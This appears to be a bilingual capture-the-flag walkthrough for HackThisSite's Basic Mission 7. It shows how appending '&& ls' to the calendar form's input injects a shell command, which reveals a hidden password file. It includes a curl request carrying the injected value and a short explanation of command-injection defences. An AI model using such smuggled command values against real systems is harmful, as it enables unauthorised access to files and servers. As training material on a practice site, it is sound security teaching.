Challenge
This time Network Security Sam has saved the unencrypted level7 password in an obscurely named file saved in this very directory. In other unrelated news, Sam has set up a script that returns the output from the UNIX cal command.
Sam 把未加密的密码文件保存在当前目录下,文件名很隐蔽。另外,Sam 还设置了一个脚本,可以返回 UNIX cal 命令的输出。
页面有一个输入框,可以输入年份查看日历,调用的是后端的 cal.pl Perl 脚本。
Solution
关键线索:
- 密码文件在当前目录(
/missions/basic/7/) - 页面调用 UNIX
cal命令 - 可以通过这个表单执行命令
在 UNIX 中,可以用 && 连接多个命令。cal 2024 && ls 会先输出日历,然后列出当前目录的文件。
将 2024 && ls 输入到表单中:
$ curl -sL -b 'HackThisSite=YOUR_COOKIE' \ -e 'https://www.hackthissite.org/missions/basic/7/' \ --data-urlencode 'cal=2024 && ls' \ 'https://www.hackthissite.org/missions/basic/7/cal.pl'在日历输出之后,会看到目录中的文件列表:
index.phplevel7.phpk1kh31b1n55h.php ← 这就是密码文件访问 https://www.hackthissite.org/missions/basic/7/k1kh31b1n55h.php 即可获取密码。
核心知识点:Command Injection(命令注入)。当用户输入被直接拼接到 shell 命令中时,攻击者可以用 &&、;、| 等 shell 操作符注入额外的命令。防御方法是使用参数化调用(如 Python 的 subprocess.run 配 shell=False),或严格过滤输入。
00d7c5f8